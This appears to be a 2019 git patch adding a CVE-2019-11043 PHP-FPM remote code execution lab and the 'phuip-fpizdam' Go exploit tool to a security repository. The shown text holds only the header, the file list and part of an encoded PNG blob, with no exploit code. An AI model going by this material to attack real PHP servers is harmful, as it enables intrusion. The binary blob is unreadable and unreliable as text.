From 3f9a0c92fef135d67c39c40b280dcbd3a6ae95aa Mon Sep 17 00:00:00 2001 From: mr-xn Date: Wed, 23 Oct 2019 21:07:12 +0800 Subject: [PATCH] =?UTF-8?q?add=20CVE-2019-11043-PHP=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CVE-2019-11043/CVE-2019-11043/1.png | Bin 0 -> 53899 bytes CVE-2019-11043/CVE-2019-11043/2.png | Bin 0 -> 25396 bytes CVE-2019-11043/CVE-2019-11043/README.md | 51 +++++ CVE-2019-11043/CVE-2019-11043/README.zh-cn.md | 49 +++++ CVE-2019-11043/CVE-2019-11043/default.conf | 27 +++ .../CVE-2019-11043/docker-compose.yml | 15 ++ CVE-2019-11043/CVE-2019-11043/www/index.php | 2 + CVE-2019-11043/phuip-fpizdam/README.md | 61 ++++++ CVE-2019-11043/phuip-fpizdam/attack.go | 67 +++++++ CVE-2019-11043/phuip-fpizdam/consts.go | 14 ++ CVE-2019-11043/phuip-fpizdam/detect.go | 180 ++++++++++++++++++ .../phuip-fpizdam/detect_methods.go | 29 +++ CVE-2019-11043/phuip-fpizdam/go.mod | 5 + CVE-2019-11043/phuip-fpizdam/go.sum | 33 ++++ CVE-2019-11043/phuip-fpizdam/main.go | 124 ++++++++++++ CVE-2019-11043/phuip-fpizdam/phpini.go | 34 ++++ CVE-2019-11043/phuip-fpizdam/requester.go | 85 +++++++++ README.md | 1 + 18 files changed, 777 insertions(+) create mode 100644 CVE-2019-11043/CVE-2019-11043/1.png create mode 100644 CVE-2019-11043/CVE-2019-11043/2.png create mode 100644 CVE-2019-11043/CVE-2019-11043/README.md create mode 100644 CVE-2019-11043/CVE-2019-11043/README.zh-cn.md create mode 100644 CVE-2019-11043/CVE-2019-11043/default.conf create mode 100644 CVE-2019-11043/CVE-2019-11043/docker-compose.yml create mode 100644 CVE-2019-11043/CVE-2019-11043/www/index.php create mode 100644 CVE-2019-11043/phuip-fpizdam/README.md create mode 100644 CVE-2019-11043/phuip-fpizdam/attack.go create mode 100644 CVE-2019-11043/phuip-fpizdam/consts.go create mode 100644 CVE-2019-11043/phuip-fpizdam/detect.go create mode 100644 CVE-2019-11043/phuip-fpizdam/detect_methods.go create mode 100644 CVE-2019-11043/phuip-fpizdam/go.mod create mode 100644 CVE-2019-11043/phuip-fpizdam/go.sum create mode 100644 CVE-2019-11043/phuip-fpizdam/main.go create mode 100644 CVE-2019-11043/phuip-fpizdam/phpini.go create mode 100644 CVE-2019-11043/phuip-fpizdam/requester.go diff --git a/CVE-2019-11043/CVE-2019-11043/1.png b/CVE-2019-11043/CVE-2019-11043/1.png new file mode 100644 index 0000000000000000000000000000000000000000..7e57f5dbaaacd5a65020dc63c36806f617089ef3 GIT binary patch literal 53899 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 